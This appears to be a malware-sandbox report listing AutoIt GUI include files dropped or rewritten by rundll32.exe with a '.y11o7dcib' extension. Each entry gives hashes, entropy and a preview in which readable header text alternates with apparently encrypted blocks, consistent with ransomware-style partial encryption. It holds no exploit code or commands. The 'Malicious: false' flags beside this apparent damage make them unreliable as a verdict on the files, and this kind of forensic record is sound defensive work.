C:\Program Files (x86)\autoit3\Include\GuiDateTimePicker.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14223
Entropy (8bit):	6.157774450653588
Encrypted:	false
SSDEEP:	192:ILjunvSjouOCkOw3siUFXn9zCT/t0mVXyAZTtorFM/g6nLyLi3hKXFbWS:iunajouOIw3sNfQ0m0yTtKFz6nLki3wv
MD5:	ADCB27F57C3CBBE0F21DADF146D0508E
SHA1:	1EB3F5BC34802444A2F90C6DE43A877E0957BD20
SHA-256:	2D3A7A358CE0E51B13CD7DD22B2B6AD7659EBA869F82C6174CE6F800331E737A
SHA-512:	7E645C3A55167C58C7EBC1950D990B6778157B3151A314A6DBB6BB0E87EBB6EDAF4A7E2F9F7BCA6A3D8E5EA39FB0634C460B92497E6362D2A79C3389074FA0C2
Malicious:	false
Preview:	d...d.[.J...h.\_......,`....c!....A;X.%....}.j.%Uk.f.8l.h...CtrlInternals.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.&.....W..H..yB...... ..D E..P..w..J)\,U.5. ..'.&.O{a.C.(l.$...au3"..#include "WinAPISysInternals.au3"....; #INDEX# ==========================================================================z..,.......!_.kA..T...3.G.O.7q..T}.r.Rl.=..u.3.rP`.$.r'.d...: Date_Time_Picker..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with date and time picker (DTP) contro+...p.[..J...h.v\..I.....Z.R.l...!F..?. ..#.G.o_n.x.tM....ontrol provides a simple and intuitive interface through which to exchange date..; and time information with a 2..1.x.....}..:........S.`..R.e"...,.6V.q.a../...rT`...9{.>..nter a date and..; then retrieve his or her selection with ease...; Author(s) .....: Paul Campbell (PaulIA)..; z..,.......!_.kA..T...3.G.O.7q..T}.r

C:\Program Files (x86)\autoit3\Include\GuiEdit.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55244
Entropy (8bit):	6.344735230963652
Encrypted:	false
SSDEEP:	768:Ks4WuAfy5WIRGdpx/hqRM4pBEBBsDaljOO6nosWQYsBUVYwds9ug76We5/TLDHgU:sWCMpYM9a2fC8pxCyU975GDXPrx
MD5:	BEEC0F20416C2BA80036F3EF4C13C1A4
SHA1:	CC8EDC2ED6C69304A47E3CE29A7CF5122218CE1A
SHA-256:	FFAE835540E28D5AACCD9946578D44797567B63A6F4ADB7625024DF9E31D2020
SHA-512:	25E04708B8D574B8E3C42DC88AA1CB984420842070430CC3F242582E039644A41FFD8613B609E6B62379FC7F157471D9F933F6ACCABF0262332F2CB3731C5285
Malicious:	false
Preview:	....s.;.R.\|S..j....f&./}.qM.^.ZAI...o. ....%.m.g~.A..x.+R..iusBar.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "ToolTipConstants.au3" ; For _GUICtrlEdit_ShowBalloonTip....<.1...vU...#.h..g+..\.2}.....N..........O3l#}%.Q..2yah..qude "WinAPIHObj.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ===========================================================....".b.BM/...Z....8w.v%.n5...$......&.3.....;M>p66.....N....=Title .........: Edit..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Ed_...p.+...2].....B..qd.A#.s(...9......;........b.wmhd.P..SS+r..=rectangular control window typically used in a dialog box to permit the user to enter..; and edit text by typinQ...?.7._.wI.......>j.v%.n5...$......&.3.....;M>p66.....N.<.. =====================================================================================....; #VARIABLES# =========================....".b.BM/...Z....8w.v%.n5...$......&.

C:\Program Files (x86)\autoit3\Include\GuiHeader.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41894
Entropy (8bit):	6.266278886076582
Encrypted:	false
SSDEEP:	768:xCMj6HOCk/fq9vSThAIkoKOw39KYSPbgFh0CHMGA+g4nMEfhzb6iRryxy:sMekH6dNSDeHlQxy
MD5:	2F492EAB58A3CBD9224AFECAD81F39CF
SHA1:	8BF8D24C5705EE8BB9D021416D01395F9D803370
SHA-256:	9EE8F439F345E9D90B9252D9FCF2A7F3CB6E36D81D4776D0C142FD38DEA8F3DE
SHA-512:	2226AD88E7D601AE6902237061FE8CBC0E22C625E4EABCD8331FDFA3A52C2247AE3DE735B4C24A004890C695D05D3CDC67AD9E168E88771D9CB673CA7AA72E65
Malicious:	false
Preview:	^..n9..#.V.......l}...F%...i.'!......4T..~..O..tln.\|. .V4...%.gerConstants.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.auN...v..%.L.......D...Tn@.x>.nv......#..d.j..6.'.s...?[..#.vde "WinAPISysInternals.au3"....; #INDEX# =======================================================================================@..0hY.{........r)...O.}..v!OYh..K..2V..#.....WHc.2.).V4..{.ButoIt Version : 3.3.16.1..; Description ...: Functions that assist with Header control management...; A header ...y'..f.J..... c....V`H.ki..4...K..5S..b.^....;.2.#.G<.../.#text or numbers. It contains a title..; for each column, and it can be divided into parts...; Author(s) .....:]..x9D.'.I.......a..[/J..v!OYh.V..{...0.....D[p./.q..l...}.>==========================================================================================....; #VARIABLES# ====================@..0hY.{........r)...O.}..v!OYh.V..{.

C:\Program Files (x86)\autoit3\Include\GuiIPAddress.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12733
Entropy (8bit):	6.239693707441753
Encrypted:	false
SSDEEP:	192:mqt4wMx7MbD8XPll6q5lu/ool5e2lAr0v5u3nl9gO1l/NjS:jjM6bD8XPl0q5l2lplE0v5Il9b1l/U
MD5:	182DACB801F3C297786D86DBE0D6C401
SHA1:	2002759CE9D6912BAB508EF371A8F23E599EA017
SHA-256:	EFF6DFA46990CE280C4A03D4BE382C9978015543C915C7E6B8EDC3F00AD96756
SHA-512:	19FD6D8E64F7640FC41D8ECF802F328FA57F29042057A6BEB0BD077749DF18B2FE9C87E5771D1E8C47704935AD980E499ED85693FDF6E9F0D23C8DFB1B3DB5FE
Malicious:	false
Preview:	...G.-.j.5...]...P.5..\I{....@.M....o..".MW...9.U.......ddressConstants.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.....U....8....p..P..3.V./c...~&.J....j....Q..T..4........?.clude "WinAPIHObj.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ==========================================================.H...e..zUf....m.....dG..Tdp....N.......3..1..Y.9.m........[.; Title .........: IPAddress..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist w.......#.>....?...Q.y..W.>(..]!......f..$..D.*..~.........9.t (gafrost)..; ==================================================================================================================.H...e..zUf...]......(.x+......N.......3..1..Y.9.m........k.===================================================================================....; ========================================.H...e..zUf....m.....dG..Tdp....N.......

C:\Program Files (x86)\autoit3\Include\GuiImageList.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31828
Entropy (8bit):	6.263245517679008
Encrypted:	false
SSDEEP:	768:bn8kx05sVps5WKZJxQ/Qhiu/fDkNRjSSeHMFVFBxKVzve/kkrXq8/Ppzf9Ooj7wv:eWnd9n7BT9la
MD5:	78FAA10EB814E75F2FD68521B7DBF18C
SHA1:	7B08A044587B3C81CBCF85161A3E339362709772
SHA-256:	DC9C9B4D171D208432B0992587A33E53C44159816FE57C90CEF65546E98CBD1F
SHA-512:	0C646DC949D13C550B7C29EFA756DCE22D7DDA32871053B0F5B112E32FDA75E06EFB15EDBF7104FD2C0E19B60DFEEA3488394FBC08825273AC93A8BCCF09288E
Malicious:	false
Preview:	?.K0o)....v...kR...2`.S...jEy.?W....6b...3._Ok......a.Q."..istConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPU.Z3hc......-..B....+q.....khF.;\.S...`..\.n.>0,........._.+..au3"..#include "WinAPIRes.au3"....; #INDEX# ====================================================================================!...a'p.....+..\L.Rc(....8.+.A..p...x... .\|kf..........[....t..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with ImageList control management...; ]..A1{*....g6..A....2y.U..k.y.\Q....b~._.h.r6).......c.].-Z.f which can be referred to by its index. Image..; lists are used to efficiently manage large sets of icons or bu..I,ic...z{.......~t....bL6..K.]...br...a.< ,......c...eZ. in a single, wide bitmap in screen device format. An image list can also include a monochrome bitmap that..; <...\|:m....gw...Q...5f.C..%]y..J....#

C:\Program Files (x86)\autoit3\Include\GuiListBox.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44404
Entropy (8bit):	6.176958966704662
Encrypted:	false
SSDEEP:	768:DtF3WmAUO6h690tEu7Gf24nKt0+fAVWdkYYKVhSPZEPkqjodqNlVsry/2NrVtgyN:DaUO9u4JHqxe
MD5:	824592E60ABE544A2A25EBA800998678
SHA1:	91D72FA096AD4FC6B532EE9FDECE79C371C5657E
SHA-256:	2EFE62314883D59E24E87D4A625A8979E6E5AF890324A5DB2342B79DCBAF12AF
SHA-512:	67BD190A2611F06FDAA4F68BF6AB0DB0BD96C432247BAC93D05858D853C64A120AF4DA3858E5244CC93918FF60A3C7549A3EBC77E5DD752B9FB975F5A5F393CA
Malicious:	false
Preview:	....2...H"?c......3..[Mc...iu............N..2..1.&.2..C2...H=J.onstants.au3"..#include "SendMessage.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#include "WinAPIRes.au3"..#inc....~.s...I.ir.?..VTtR..."..zn..2.:..)].....b.w.kZ.\C..A7o..==================================================================================================..; Title .........: ListBox..._..*..nE.4r.yn...z....6J....<.;.........$S......-.?..lt..8o!Q.iption ...: Functions that assist with ListBox control management...; Author(s) .....: Paul Campbell (PaulIA)..; ===============.B.c..'Xpl=.-<...g....:A...=:.JY..F.C..7@.....b.w.kZ.\C..A7o..================================================....; #VARIABLES# ==============================================================.B.c..'Xpl=.-<...g....:A...=:.JY..F.C..7@.....b.w.kj.&....fr.._g_hLBLastWnd....; =============================================================================================================.B.c..'Xpl=.-<...W..=.'_..SS.90..F.C.

C:\Program Files (x86)\autoit3\Include\GuiListView.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	196299
Entropy (8bit):	6.452390833534886
Encrypted:	false
SSDEEP:	1536:N38PcRbmwxDRHfRfjCMMgupIxWqHmysOV8AoAnfKpEbKF3jWmIrZITIPq/26oxZ+:NMEE+NHn6pUPsOXfKxlWmWfv6oBoX
MD5:	95B39CED17113E31C3A66216CF418141
SHA1:	C2B8BB5B384FBF60BFE7E322C9ACE18A7BEFE953
SHA-256:	F2AFD9EFBCF3231255C8B4BDDDDD935D629B53253186EE06AD7CAEB7C6FD3E04
SHA-512:	CAFEC2E87BBE6984B2FD402B3B6E9F0C3EBE429D7AF1EF918D712AAE8A35FB29C49B2C1373F5E86B9BDCE26C06FB700F66495E7D85DD6422D7C816ED56130561
Malicious:	false
Preview:	....-=...nB..3/`Q..J_.F.u.D>...!Y....~.\.4%.{bsu,.d..;#..W.s.au3"..#include "GuiHeader.au3"..#include "ListViewConstants.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include ...;-.H.CN..MC.....S....t.X/....tH}......E..+.I$8;R.a..#3....WinAPIConv.au3"..#include "WinAPIGdi.au3"..#include "WinAPIGdiDC.au3"..#include "WinAPIHObj.au3"..#include "WinAPIMisc.au3"..#in....x{.S.Aq..\QD....+ .J.4.C(....=.i...T.].#k.Pd4W-.*.tBL....NDEX# =======================================================================================================================..;...=y..^......PR..R\|.F.Z..l..........r...q6..9+.v...Eo...Q.age ......: English..; Description ...: Functions that assist with ListView control management...; A ListView c....4y.IPa...WF....G^.G.$.Z-...t.G...t.G.>c.Uc.[+.(..,...B.m consists of an icon and a label...; ListView controls provide several ways to arrange and display items. For ....4<...dE..PM.....HL.Q.6._#....;.\..

C:\Program Files (x86)\autoit3\Include\GuiMenu.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	61900
Entropy (8bit):	6.1886992915368815
Encrypted:	false
SSDEEP:	768:dkWTG6NnGXGZXOnjEzU/vviIj6jKTRfTjVzCbYvOft/IwPfQUyp7vHhMrSWjn5cg:SjvQa+5cFdoE4R+DB6
MD5:	24DDFB0BCD88F950254A0683980C6476
SHA1:	CF45316ADA7E2FF6CA39D198B32CD766F8E648A7
SHA-256:	F87D5CD73D40E83D1E30384E734723530E04034620933378ABFD64E9238D0466
SHA-512:	7A190B879C877C7D834D7A1BDB62C215C15443FF73D85061C898A2A18BD8CDF46C955DF3DF3F72F290B52E962E3168D5DBBB7AF779F472FFF3DFC2CA26F989BA
Malicious:	false
Preview:	..h........Y..!B...'..s[<R-.Ql..."....8......p..F...F:v.treConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIMisc.au3"..#include "WinAPISysInternals.au3"....; #INDEX# =========..;......\.i...?...Vo.....o.S.."..Sl..Y......ZW.8.[....r(.<==============================================..; Title .........: Menu..; AutoIt Version : 3.3.16.1..; Language ......: English..=.........;...,...-'....QP!...^k....8..DK.A......%.....Xox.oagement...; A menu is a list of items that specify options or groups of options (a submenu) for an application...j.........o..."...Kr.....r.N.Zq....4...L.[...G..g.....Fov.tses the application to carry out a command...; Author(s) .....: Paul Campbell (PaulIA)..; ======================================..;......\.i...?...Vo.....o.S.."..Sl..Y......ZW.8.[....r(.<=========================....; #CONSTANTS# =====================================================================================..;......\.i...?...Vo.....od.Sp..N.

C:\Program Files (x86)\autoit3\Include\GuiMonthCal.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	40050
Entropy (8bit):	6.310878011203905
Encrypted:	false
SSDEEP:	768:ujeWLKdj+qXoeH+9mjn6DazDnCt7Z38dEOa8nvbg5TLxTQMK5Pe09z9g1GgBVQ/+:u/KuxfhsHGXWGXBhsFaF1ki
MD5:	D4ACCFA4C415A49E6B1607B6F4A8D9BA
SHA1:	B548C96C3180630A70F88D82235ABAED4BED0FBC
SHA-256:	2E1ED1FB91604861182F7732C3C4A01BCDED1D8881E8C16253C4C03F3E3AAAE3
SHA-512:	2C1941F6E465EB1B856DDD83104DADE1AC40726D4DBDA0B0A8DAE3FF13C77072CC1F36BA754AC2938C8304AFBF8958D2F65EACC4DB69F915D9F193D5D7CC0FDC
Malicious:	false
Preview:	k.........%..I.....6......3....A...........@...gr%.n.M.%..CtrlInternals.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.).....Z...$.f..............jo.f.........Z...j.`b.k.^.o^.include "WinAPISysInternals.au3"....; #INDEX# ==================================================================================u.........}..y....g........ZX..{..`..........c...'?g...R.<.alendar..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with MonthCalendar co&.....Z...-..0....z........GE..f..+......R.(.G.{1.d..S.t.mplements a calendar-like user interface. This provides the user with a very..; intuitive and recogniza......[...&.......=..........fO......J...V...M.{~%.k..SB$.ovides the application..; with the means to obtain and set the date information in the control using existing ,.......Q..J........r.......G5......

C:\Program Files (x86)\autoit3\Include\GuiReBar.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	67447
Entropy (8bit):	6.2531084444189995
Encrypted:	false
SSDEEP:	1536:2z8dNSFVAFIl8cdT5+w2WFJ6ft5pLEXWyo+:A8aeI9dd+wB/6FL5yB
MD5:	F0C0F2469FF229D360B84C8743F71CD6
SHA1:	83EB2DAED424900877B37D8E3CF968EC326E23CF
SHA-256:	059F5F7FE2401964596857CDC40668D9EBD394D1CD6DF0C31D5943854DE071F8
SHA-512:	9208426B24162F48C972C347DB7D80173A16309E968A21866F2B52AC3E00960672FA8711EB406FF0D07E38F0DCC582673A2AC81294FCB590EDFCB4AFD165E64E
Malicious:	false
Preview:	.a..j....c~O.\|..2...".4.............5.l.>..`v ..nqXK....,..Unry.au3"..#include "RebarConstants.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.au3....o...h=....IA... .$........>.n.(...::l.DpUQ..>.,...hnclude "WinAPISysInternals.au3"....; #INDEX# ===================================================================================.5..;W....0 ..K.5,..s.m...........Z."..9G..}z...)1...\.Nl..5.; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Rebar control management.....&J....-=..V.(1....2...........3.".mH.'5D.ul.A..kHf..\!windows. An application assigns child windows,..; which are often other controls, to a rebar control band. Reba.(..h...-~E...a....+.?............].9..m...st...'?...\kJ`.]`ch band can have any combination of a gripper bar, a bitmap, a text label, and a child window...; However, band.(..h....bs^...(\|...n.8..........'.l

C:\Program Files (x86)\autoit3\Include\GuiRichEdit.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	209303
Entropy (8bit):	6.595812967800456
Encrypted:	false
SSDEEP:	3072:GhhPUNuI0N4AEvsj4HtdJtqwYwIShJF0decS8:GhhP2Q70s+9qwxISZ0decN
MD5:	91D8FDED312644F9FEF061726B430CA9
SHA1:	79D0785B751E23D5795A2BBCAA4FACB7E5248DF1
SHA-256:	B72C724781AFAF2ED2DA68510AF5F263BB75E4B418708F796B89D17333C73702
SHA-512:	27FE30921BE58612108A371DED80BCDA75136C0682D85598A341D71CC8F412D41861BFFDF052387117A474E0A8EB257C7CA214D8C89FE012CF7BBE58364F83D1
Malicious:	false
Preview:	.M ...?T :..?zU...gKN....V.5.o...NXK...@m.a.._..N..;[.Q#........ts.au3"..#include "FileConstants.au3"..#include "GUICtrlInternals.au3"..#include "RichEditConstants.au3"..#include "SendMessage..Q}...xXc6..>.....\|PN....5...r...\.N.WD~E....]..^..N=.r&.-.....u3"..#include "WinAPIConv.au3"..#include "WinAPIHobj.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ======================..s...f.0h.gJb...3.....GK.K.;......Y[Nr.V.....&D..wXr......=================================..; Title .........: Rich Edit..; AutoIt Version : 3.3.16.1..; Language ......: English..; Desc.M>...5.#{.z'-..oH@.......b...}CL.D#.&.K.._..T...B.t?.'..........: GaryFrost, grham, Prog@ndy, KIP, c.haslam..; OLE stuff .....: example from http://www.powerbasic.com/support/pbforums/sho.T!..+Y}j..hNk...(UB........1.......Y[Nr.V.....&D..wXr......=================================================================================================....; #VARIABLES# =============..s...f.0h.gJb...3.....GK.K.;......Y[N

C:\Program Files (x86)\autoit3\Include\GuiScrollBars.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	24990
Entropy (8bit):	6.425272171473491
Encrypted:	false
SSDEEP:	384:uiO+vblC4dlTmdLHelDlV9lc/PlnlYetb6ODAb2lzl7syli8/wY+527lUy:ayPsmhVfc/dlYkJx7sui8/wH52JUy
MD5:	6BE64E03E4086953BA03396768F3B891
SHA1:	206AD1D08EC400A0842DF5BF7B1ECE3360086D9B
SHA-256:	24735012FEEE4E89AEF711BF19CECB4D50767C6F94F2EF6E8EA5CB717A205EC7
SHA-512:	7B15579431DE882AF4705FEC1B2E50F2C4A516D062EC33834743A72F29770FF1E945663E360CBE9D26607F5A107044299BF656507AEFB2901E7E3A5495095DA5
Malicious:	false
Preview:	...J,...O..g...!.N.g.8....T...P$.G.......gj8.-.... ....N*39).tructureConstants.au3"....; #INDEX# ============================================================================================..I.}.....I?......]9.pF.......'U2.P..K.'0e.l.PmFT..1uvX~.oIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with ScrollBar management...; .T.`.....TC...Y.K.$.,....i...Of.S......lzk.$..V"]Q....Un7ky.w button at each end and a scroll box (sometimes called a thumb)..; between the arrow buttons. A scroll bar rep...L....H.Tm.J.K@h.#...h...X2.....E..}.k....Av.Q....L'8}d.'s client..; area, the scroll box represents the portion of the object that is visible in the client area. The ...@4...O.Tv..!..@$.m[...'...S.f........kq3./..LeOK....U+ \|y.the user scrolls a data object to display a different portion of it. The system also adjusts..; the size of a s...E,......Tq...G...k.m....o....Hf.[...

C:\Program Files (x86)\autoit3\Include\GuiSlider.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27089
Entropy (8bit):	5.994535084242408
Encrypted:	false
SSDEEP:	768:irPriJtudUP0jpcofjCw6X1232rQu4GJwIpXy11VHNg+9cDUV+o5bG:+jil8W+RVG
MD5:	B0A2BC685F9E9260CB59BB6B8A4B3983
SHA1:	BFA56CF3CF88E2F83A39E242F6F6C8C9B9B1C73A
SHA-256:	AA400B6EFB5D7DDCEDB6E082DB21FE436F8FAFC2FEB1A5E4162ADA5A5AFD9B6C
SHA-512:	A83FE4BE1A6339269A66377A927EF51734F3863259FDC11D1E6ED3EC452E908621C1EBD670839E252AEDF3E414C84344B7A974E7627F25D85DEA384C8227531C
Malicious:	false
Preview:	...uqZ^...P.S..r,".B....S,..`k.0}.....K...9..X1\|c:......7.stants.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#include "WinAPISysIntern...Qxq..-..9.~.6K. .....N3..32.h3F.....E....j...h$~%p..Z..e.=============================================================================..; Title .........: Slider..; AutoIt Version : 3.3...Q(.4...p].+.../eV.....SK..bf.=.q...S....9...{#c^8.....+.that assist with Slider Control "Trackbar" management...; Author(s) .....: Gary Frost (gafrost)..; =============================...B$9....,..c..E2vE.....N3..32.h3F.....E....j...h$~%p..Z..e.==================================....; #VARIABLES# ============================================================================...B$9....,..c..E2vE.....N3..32.h3F.....?..w..r2F+K....0..U...; ============================================================================================================================...r..4...R\|....6[.[.....N3..32.h3F....

C:\Program Files (x86)\autoit3\Include\GuiStatusBar.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28779
Entropy (8bit):	6.211052818283278
Encrypted:	false
SSDEEP:	768:6akZ0uoSsXZeVFIIpdIXO35mJn3ensuT9jGXUdVIdGLbdO2Y6aQZahQjzdqTav3/:6akZSSsXgVu0IX6UJn3K7RTdSdG3du/k
MD5:	16CF27B1DD51FA52FD34B611E35B4001
SHA1:	1CE65F125C5BC9883AE06032AE10E72C2A1C1800
SHA-256:	EDCC9762DC56E9B5FE37BA53A4BC6F3C3A17BC698FAC53A462722555BC0928F4
SHA-512:	0A49B4ECB91BEED38E55EF88F733A688ACAC9A9B2A041ED9591A55FB47A0FB3CD18BB028936D00B98CB21CD1D909F7733349EF2DD89ECF8262A47E66218B09A9
Malicious:	false
Preview:	.&.......`....4.?..i.a.....0...$.3(c..E[,.MpI^....0..h\|..4>rry.au3"..#include "SendMessage.au3"..#include "StatusBarConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#.!.......X..?.wRL..i.h.....,lA.B..\|m2..s-n.Coyi.O..a.0a..ln =====================================================================================================..; Title .........: Status........H{.2..hdG..h.-..@....oqR.B...,...Q.m.P\|jz.H.2..d/T.[h=Description ...: Functions that assist with StatusBar control management...; A status bar is a horizontal windo.o......m....S!Z.f.}....01..?..)mf..^U,.^34$....(..c\|_.?syisplay..; various kinds of status information. The status bar can be divided into parts to display more than o.......74.[^..!...'.-..S...?.....,e..;.v.?'0<...u.#r..ksMaul Campbell (PaulIA)..; =======================================================================================================.r.......2.FC..<...:.0..~....y\|5.....T.

C:\Program Files (x86)\autoit3\Include\GuiTab.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	38512
Entropy (8bit):	6.258532055447539
Encrypted:	false
SSDEEP:	768:D1M2fu8yqezSIvvE2J8OgjlhOW6lQM2IjZ1SrD8VyQNQCZT7MxC5MaNRTPdbbpKM:DO8y9SIj8NAjZyQ1Q6Tj1bIQ0mEW
MD5:	6D11264947DA276D5B7CB59C6DB9695D
SHA1:	ABAE2D9E1A31F4BA39C8B467899683E3E412BD5B
SHA-256:	2A6164FC2A13FB7E3E00C331EE9FFF2CBC23DB75A4B44B46719C67FA07B08DEA
SHA-512:	DFA52C29973E882F6B2120620DB79332075E9F0FF910D99CF3CFB492D2C609E09BF2F55BEBAC019E1CB1760FFAD10182AD0CBF0C8DE5CD329535D182E68FD7AF
Malicious:	false
Preview:	..4g!.......rq..o{...f^l..4..f.+.1xI....\..W.....DYr.T.....ry.au3"..#include "SendMessage.au3"..#include "TabConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#includ.xS$....!...Q...n....}Ye.......K...-yn...S....q..?........X# =======================================================================================================================..; Ti..?$c...G.R.E[...M..gHf....}..e.1..oU......F.#.............age ......: English..; Description ...: Functions that assist with Tab control management...; A tab control is ..;h"...I.......({..vHz....<..~.'.;a....U....r....\i.P..... cabinet. By using a tab..; control, an application can define multiple pages for the same area of a wind..z$"........[..#j..ZV[j....<.....e.t........U.0...DZi.X..... a certain type of information or a group of controls that the application displays when the user..; selects ..?$............lf.T.02....5...y.e.z$.

C:\Program Files (x86)\autoit3\Include\GuiToolTip.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41162
Entropy (8bit):	6.202304284195996
Encrypted:	false
SSDEEP:	768:Y3dxStzN9NNGEseQabMBLpurelxjujiwxfIL:Y3dG+EVbMBArbI
MD5:	5F8AF981BB476C674E4C5D57D82044BC
SHA1:	4D1D108B8FDE50F5F0C334ABB255CA17C1841C8B
SHA-256:	36EEC612C8D672F6215710C1F35C048AFE02BDC7988E01DE36B6DCB0F1CE8FC4
SHA-512:	3F2E457554C30856F51B5435AC4472AA8F198A2F92FCF1A968A91AA9431046AE61C1BD4E578F1FFD9D529F97C719E8CB2F1C1DBE4F41EAA49E0E52A8CEE9EC4F
Malicious:	false
Preview:	~Y%.J...........e.3.h.-...I...,..T/L...L}%..........B"...bry.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "ToolTipConstants.au3"..#include "WinAPIConv.aun.F..V..R........n\!..n#&..6R.$.p...y$..yp...c...F...._=.^.0==========================================================================================================..; Title .........: T2_'..O.........yi.#.r.h..w..f.h..7Q....S:!-..O...U......c...cs that assist with ToolTip control management...; ToolTip controls are pop-up windows that display text. The t8H?..L..R..Y...Fn.#.\|J<.(..?.7...2Z..I-;!.....@.....B .C.- window, such as a child window or control, or an application-defined rectangular area within a window's client..; }.k..............M.$.r.`..d..f.p..j:\...A4#&..J......h;.^.0============================================================================================================================....f.h..m..\|.......1Um. Wu..y..u.c...f..

C:\Program Files (x86)\autoit3\Include\GuiToolbar.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	80333
Entropy (8bit):	6.0585078095791784
Encrypted:	false
SSDEEP:	768:ns54UMXf/znG+ERDXdjz3m75U1zt4r+JfVki7o0l5c+NS1/2+umrCHwC899Q4TiB:nPFPUd7AQKOS0TJNcum0o9n3vJm
MD5:	760D357A263F5BD6BF33075AD6DE6989
SHA1:	02BEBCC79555316835ACF6856F71B460D4389987
SHA-256:	F83CF845CFBE2154738E3852C302A71D74F0ADED21665E1CC09DDFB7D5E7020A
SHA-512:	83896FFCD40B43B8A2C48B70D188623EEDFB0DE8DACDC63A0645D90A831EAF634EA3B9A57964B3C975A57E10FCDE597B70DA2137270EF7EF6A7692F5EA2E6092
Malicious:	false
Preview:	.z.D...!.Ql....lG;..NaY.B.U.I.fRw~.R..I.%...c..`1XIjW...6#...ry.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "ToolbarConstants.au3"..#include "UDFGlobalID.a. Q....Jk.........a{S...\|.$.-99...I..I.o....a....iiL..Ka]..m#include "WinAPIRes.au3"..#include "WinAPISysInternals.au3"....; #INDEX# =======================================================..N....y...2@...[Yo...).._./..7.e7&$7......6..\|5.~e..;...)S..Z..; Title .........: Toolbar..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist .z.O..+..^}]....=..OuS.....~.U. 9......+..a(.cx.k&V..Fv....s a control window that contains one or more buttons. Each button, when clicked by a user, sends a..; command .v.T...d...{.....7...cT...e..*.!zrzk.L...c...#}.77XY&....4....oolbar correspond to items in the..; application's menu, providing an additional and more direct way for .g.B..7.../......1.Q4....2.z.1izmc.N.

C:\Program Files (x86)\autoit3\Include\GuiTreeView.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	118803
Entropy (8bit):	6.3904475935320395
Encrypted:	false
SSDEEP:	1536:3zx3tXnLhRvEBWKY6ZhMW+Mk7kCufRydQ9Zx4tsqvhmJkGNUXa:dpnLhRAFYogkfRydQ9ZwsgoG0UXa
MD5:	75312E6C6B131A7F92BE27B31AD13A36
SHA1:	355AD19A2CB110DE3F44C7BD4C4418DC1BA05296
SHA-256:	8BEE7E09E413A2238C62758147B0FCC7BEA9FDCB23C8489CAEAA144ED566417C
SHA-512:	FE112D69894A597B48A0248AB0AAB76C847FC97C6F48267DAC31BC3C66569246B64E52DFF4EBE42B90DA9893590002D6E4622AEBC928D4CAF2B49DFFF7C6AB2C
Malicious:	false
